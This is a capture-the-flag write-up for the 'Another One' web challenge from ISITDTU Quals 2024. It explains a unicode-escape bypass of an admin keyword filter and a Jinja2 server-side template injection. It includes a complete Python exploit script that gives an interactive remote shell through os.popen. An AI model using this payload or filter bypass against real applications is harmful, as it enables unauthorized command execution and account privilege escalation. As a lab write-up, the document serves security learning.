Writeups For ISITDTU Quals 2024
Another One For this challenge, at first glance, I’m looking at the
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
@app.route('/render', methods=['POST'])
def dynamic_template():
token = request.cookies.get('jwt_token')
if token:
try:
decoded = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
role = decoded.get('role')
if role != "admin":
return jsonify(message="Admin only"), 403
data = request.get_json()
template = data.get("template")
rendered_template = render_template_string(template)
return jsonify(message="Done")
except jwt.ExpiredSignatureError:
return jsonify(message="Token has expired."), 401
except jwt.InvalidTokenError:
return jsonify(message="Invalid JWT."), 401
except Exception as e:
return jsonify(message=str(e)), 500
else:
return jsonify(message="Where is your token?"), 401
This code makes me think of a possible SSTI (Server-Side Template Injection) vulnerability. However, to access it, we need to have the “Admin” role. So, we’ll need a way to obtain or bypass this requirement to proceed.
Looking more deeply in code. and i have found this:
1
2
3
if "admin" in json_data:
return jsonify(message="Blocked!")
data = ujson.loads(json_data)
As we looking through the ujson package, we saw that
1
2
>>> ujson.dumps("åäö")
'"\\u00e5\\u00e4\\u00f6"'
We though that if it can Unicode encode character when dump, can it decode unicode character when loads?
1
2
>>> ujson.loads('{"role":"\\u0061dmin"}')
{'role': 'admin'}
Well it could. Therefore the idea is to register a user with role,
1
{"username":"aaaaaa","password":"aaaaaa","role":"\\u0061dmin"}
So the json_data will not contain “admin” but the data does. We have done the bypass admin role step, so the final thing we need to do is find a way to ssti and get a flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python3
import requests, sys, base64
BASE_URL = sys.argv[1].rstrip("/")
wp = lambda x: f"{BASE_URL}{x}"
_s = requests.session()
from pwn import *
u, p = randoms(10), randoms(10)
print(
_s.post(
wp("/register"),
headers={"Content-Type": "application/json"},
data=f'{{"username":"{u}", "password":"{p}", "role":"\\u0061dmin"}}',
).text
)
token = _s.post(wp("/login"), json={"username": u, "password": p}).json()["message"]
_s.cookies["jwt_token"] = token
while True:
cmd = input(">")
cmd = base64.b64encode(cmd.encode()).decode()
print(
_s.post(
wp("/render"),
json={
"template": "{{ cycler.__init__.__globals__.os.popen('echo "
+ cmd
+ " | base64 -d | sh').read()}}"
},
).text
)
print(_s.get(wp("/static/test")).text)
send mkdir static, ls > static/test then cat <filename> > static/test